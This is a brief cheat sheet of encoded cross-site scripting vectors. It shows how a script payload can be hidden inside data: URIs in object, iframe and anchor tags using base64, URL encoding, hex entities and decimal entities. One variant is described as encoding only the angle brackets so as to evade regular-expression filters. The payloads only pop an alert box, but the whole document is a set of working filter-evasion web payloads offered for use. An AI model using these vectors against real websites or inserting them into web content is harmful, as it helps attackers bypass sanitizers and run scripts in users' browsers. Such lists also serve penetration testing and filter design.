Encoded XSS Vectors

Base64 Encoded Vector:
---------------------
<object data=data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg== ></object>
where the base64 encoded value: PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg== is equal to
<script>alert(1)</script>

URL Encoded Vector:
-------------------
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F
%73%63%72%69%70%74%3E"></iframe>
where %3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E is equal to
<script>alert(1)</script>

Another variation of above vector where attacker only encoded angular brackets in order to evade
the regular expression like:

<iframe src="data:text/html,%3Cscript%3Ealert(1)%3C/script%3E"></iframe>

Hex Entities Encoded Vector:
---------------------------
<a href="data:text/html;blabla,&#x3C;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3E;&#x61;&#x6C;
&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;&#x3C;&#x2F;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3E;">X</a>

where &#x3C;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3E;&#x61;&#x6C;
&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;&#x3C;&#x2F;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3E; is
equal to <script>alert(1)</script>

Decimal Entities Encoded Vector:
-------------------------------
<a href="data:text/html;blabla,&#60&#115&#99&#114&#105&#112&#116&#62&#97&#108&#101&#114&#116&#40
&#49&#41&#60&#47&#115&#99&#114&#105&#112&#116&#62">X</a>

where &#60&#115&#99&#114&#105&#112&#116&#62&#97&#108&#101&#114&#116&#40
&#49&#41&#60&#47&#115&#99&#114&#105&#112&#116&#62 is equal to <script>alert(1)</script>